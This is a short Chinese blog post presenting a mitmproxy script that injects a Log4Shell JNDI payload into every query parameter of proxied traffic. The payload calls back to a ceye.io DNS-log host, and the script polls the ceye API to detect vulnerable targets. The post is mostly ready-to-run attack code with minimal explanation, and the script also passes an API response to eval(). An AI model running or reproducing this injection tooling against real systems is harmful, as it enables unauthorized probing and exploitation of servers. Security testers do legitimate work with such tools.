ceye-dnslog

curl "http://api.ceye.io/v1/records?token=xxx&type=dns"

获取数据结合脚本。

from mitmproxy import http, ctx
import requests
import time


def check_shuju(json_string):
    print(json_string)
    names = [item["name"] for item in json_string["data"]]
    unique_names = list(set(names))
    print(unique_names)
def send_get_request(url):
    try:
        response = requests.get(url)

        # 检查请求是否成功
        response.raise_for_status()

        # 打印响应内容
        return  response.text

    except requests.exceptions.RequestException as err:
        print(f"发生错误: {err}")



def request(flow: http.HTTPFlow) -> None:
    url = flow.request.url

    # 检查是否为 http://detectportal.firefox.com/success.txt
    if "http://detectportal.firefox.com/success.txt" in url:
        print("Skipping request to http://detectportal.firefox.com/success.txt")
        # 返回,不继续处理此请求
        return
    # 获取原始参数
    original_params = flow.request.query
    # 遍历每个参数
    for param_name, param_value in original_params.items():
        # 创建一个新的参数字典,用于更改参数
        new_params = original_params.copy()
        # 更改当前参数的值
        time_s = str(time.time()*1000)

        new_params[param_name] = "${jndi:ldap://"+time_s+"."+"xxx.ceye.io/}"

        # 更新请求的参数
        flow.request.query = new_params
        # 打印更改后的参数
        print("Updated Params:", flow.request.url)
        #写入文件记录
        with open("result.txt", "a") as file:
            file.writelines(time_s+"idf6ss.ceye.io"+" "+flow.request.url+" "+str(flow.request.query)+"\n")
        # 继续发送请求
        flow.resume()


def response(flow: http.HTTPFlow) -> None:
    # 在这里添加处理响应的逻辑
    a = send_get_request("http://api.ceye.io/v1/records?token=&type=dns")

    check_shuju(eval(a))
# 启动mitmproxy代理服务器
if __name__ == "__main__":
    from mitmproxy.tools.main import mitmdump
    mitmdump(['-p', '7777', '-s', __file__])

开始后测试每个参数 后查看ceye平台看看是否出现问题

  • 9
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值